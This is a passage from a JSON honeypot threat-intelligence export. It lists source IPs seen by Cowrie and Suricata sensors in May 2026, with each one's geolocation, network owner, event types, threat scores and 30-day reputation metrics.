      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "190.193.20.159": {
      "attack_count": 8,
      "first_seen": "2026-05-14T23:33:24.588Z",
      "last_seen": "2026-05-14T23:42:35.166Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Paran\u00e1",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:33:24.588000+00:00",
        "last_seen_30d": "2026-05-14T23:44:13.747000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 8
      }
    },
    "205.210.31.169": {
      "attack_count": 8,
      "first_seen": "2026-05-03T04:18:17.289Z",
      "last_seen": "2026-05-09T10:57:33.138Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 28,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T03:01:34+00:00",
        "last_seen_30d": "2026-05-29T22:31:01.261000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 23,
        "Cowrie": 8
      }
    },
    "45.118.244.27": {
      "attack_count": 8,
      "first_seen": "2026-05-11T17:27:50.368Z",
      "last_seen": "2026-05-11T17:35:53.283Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 45905,
      "as_org": "Stargate Communications Ltd.",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:27:50.368000+00:00",
        "last_seen_30d": "2026-05-11T17:37:01.275000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "135.237.126.127": {
      "attack_count": 7,
      "first_seen": "2026-05-29T04:54:47.170Z",
      "last_seen": "2026-05-29T04:54:57.171Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 65.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 20.8,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 25,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-05T12:43:11.376000+00:00",
        "last_seen_30d": "2026-05-29T04:56:05.751000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 7,
        "ConPot": 4,
        "Honeytrap": 2,
        "Dionaea": 1
      }
    },
    "172.105.123.47": {
      "attack_count": 6,
      "first_seen": "2026-05-10T11:18:19.132Z",
      "last_seen": "2026-05-10T11:18:24.899Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T11:18:19.132000+00:00",
        "last_seen_30d": "2026-05-10T11:19:30.649000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "189.179.34.153": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:22:04.794Z",
      "last_seen": "2026-05-24T01:28:29.230Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Uruapan",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:22:04.794000+00:00",
        "last_seen_30d": "2026-05-24T01:38:35.224000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "80.211.195.7": {
      "attack_count": 6,
      "first_seen": "2026-05-31T10:23:40.035Z",
      "last_seen": "2026-05-31T10:23:48.064Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Prague",
      "asn": 24806,
      "as_org": "INTERNET CZ, a.s.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T10:23:40.035000+00:00",
        "last_seen_30d": "2026-05-31T10:24:53.918000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.84.107.198": {
      "attack_count": 5,
      "first_seen": "2026-05-19T18:17:31.496Z",
      "last_seen": "2026-05-19T18:17:42.235Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Itsemoemo2024@Washere2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:17:31.496000+00:00",
        "last_seen_30d": "2026-05-19T18:18:45.182000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "45.84.107.33": {
      "attack_count": 5,
      "first_seen": "2026-05-20T07:35:09.849Z",
      "last_seen": "2026-05-20T07:35:20.679Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Itsemoemo2026@Washere2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:35:09.849000+00:00",
        "last_seen_30d": "2026-05-20T07:36:24.496000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "170.64.179.24": {
      "attack_count": 4,
      "first_seen": "2026-05-25T10:00:47.041Z",
      "last_seen": "2026-05-25T10:00:47.181Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 58.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 564,
        "days_active_30d": 1,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-25T10:00:12+00:00",
        "last_seen_30d": "2026-05-25T10:02:28.336000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 346,
        "Honeytrap": 152,
        "Dionaea": 24,
        "ConPot": 15,
        "Ipphoney": 7,
        "Redishoneypot": 6,
        "Ciscoasa": 5,
        "ElasticPot": 5,
        "Cowrie": 4
      }
    },
    "185.180.141.33": {
      "attack_count": 4,
      "first_seen": "2026-05-13T18:04:57.627Z",
      "last_seen": "2026-05-13T18:05:05.628Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 77.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 25,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T17:29:55.071000+00:00",
        "last_seen_30d": "2026-05-28T20:52:45.073000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 23,
        "Cowrie": 4,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "201.238.34.145": {
      "attack_count": 4,
      "first_seen": "2026-05-20T13:01:48.672Z",
      "last_seen": "2026-05-20T15:30:53.108Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:01:48.672000+00:00",
        "last_seen_30d": "2026-05-20T15:31:59.510000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "205.210.31.106": {
      "attack_count": 4,
      "first_seen": "2026-05-26T16:21:24.155Z",
      "last_seen": "2026-05-26T16:21:27.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 26,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-05T18:54:43.440000+00:00",
        "last_seen_30d": "2026-05-30T01:30:16.167000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 21,
        "Cowrie": 4,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Sentrypeer": 1,
        "Wordpot": 1
      }
    },
    "71.50.55.144": {
      "attack_count": 4,
      "first_seen": "2026-05-23T16:15:43.139Z",
      "last_seen": "2026-05-23T16:18:02.092Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Carlisle",
      "asn": 19901,
      "as_org": "Brightspeed",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:15:43.139000+00:00",
        "last_seen_30d": "2026-05-29T01:30:18.228000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "101.0.63.248": {
      "attack_count": 2,
      "first_seen": "2026-05-12T08:24:34.901Z",
      "last_seen": "2026-05-12T08:24:47.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 134674,
      "as_org": "TATA PLAY BROADBAND PRIVATE LIMITED",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:24:34.901000+00:00",
        "last_seen_30d": "2026-05-12T08:25:52.291000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.102.194.63": {
      "attack_count": 2,
      "first_seen": "2026-05-07T22:59:05.761Z",
      "last_seen": "2026-05-07T22:59:19.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T22:59:05.761000+00:00",
        "last_seen_30d": "2026-05-07T23:00:29.109000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.57.196.137": {
      "attack_count": 2,
      "first_seen": "2026-05-22T14:40:12.922Z",
      "last_seen": "2026-05-22T14:40:42.449Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:40:12.922000+00:00",
        "last_seen_30d": "2026-05-22T14:41:44.835000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.186.76.210": {
      "attack_count": 2,
      "first_seen": "2026-05-16T13:22:36.978Z",
      "last_seen": "2026-05-16T13:22:50.329Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 1680,
      "as_org": "Cellcom Fixed Line Communication L.P",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:22:36.978000+00:00",
        "last_seen_30d": "2026-05-16T13:23:59.336000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.75.44": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:56:15.720Z",
      "last_seen": "2026-05-23T02:56:29.175Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:56:15.720000+00:00",
        "last_seen_30d": "2026-05-23T02:57:35.284000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.208.234.121": {
      "attack_count": 2,
      "first_seen": "2026-05-16T13:18:06.642Z",
      "last_seen": "2026-05-16T13:18:19.915Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Pasig",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:18:06.642000+00:00",
        "last_seen_30d": "2026-05-16T13:19:21.600000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.28.138.7": {
      "attack_count": 2,
      "first_seen": "2026-05-31T01:27:19.125Z",
      "last_seen": "2026-05-31T01:27:32.729Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Caloocan",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T01:27:19.125000+00:00",
        "last_seen_30d": "2026-05-31T01:28:39.551000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.239.47.133": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:37:51.720Z",
      "last_seen": "2026-05-23T08:38:30.189Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:37:51.720000+00:00",
        "last_seen_30d": "2026-05-23T08:39:39.401000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.172.135.167": {
      "attack_count": 2,
      "first_seen": "2026-05-13T18:20:51.179Z",
      "last_seen": "2026-05-13T18:21:03.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T18:20:51.179000+00:00",
        "last_seen_30d": "2026-05-13T18:22:05.153000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.123.179.91": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:57:20.523Z",
      "last_seen": "2026-05-09T14:57:33.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 18209,
      "as_org": "Atria Convergence Technologies Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T14:57:20.523000+00:00",
        "last_seen_30d": "2026-05-09T14:58:36.736000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "142.190.56.158": {
      "attack_count": 2,
      "first_seen": "2026-05-09T03:46:50.939Z",
      "last_seen": "2026-05-09T03:47:04.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 13760,
      "as_org": "Uniti Fiber Holdings Inc.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T03:46:50.939000+00:00",
        "last_seen_30d": "2026-05-09T03:48:09.372000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.118.227.252": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:08:37.170Z",
      "last_seen": "2026-05-08T15:08:50.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Del Viso",
      "asn": 19889,
      "as_org": "Cooperativa Telefonica Del Viso",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:08:37.170000+00:00",
        "last_seen_30d": "2026-05-08T15:09:52.358000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.87.112.211": {
      "attack_count": 2,
      "first_seen": "2026-05-08T16:22:51.076Z",
      "last_seen": "2026-05-08T16:23:06.858Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:22:51.076000+00:00",
        "last_seen_30d": "2026-05-08T16:24:15.273000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.166.240.187": {
      "attack_count": 2,
      "first_seen": "2026-05-02T18:41:04.154Z",
      "last_seen": "2026-05-02T18:41:16.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Sakai",
      "asn": 17511,
      "as_org": "OPTAGE Inc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
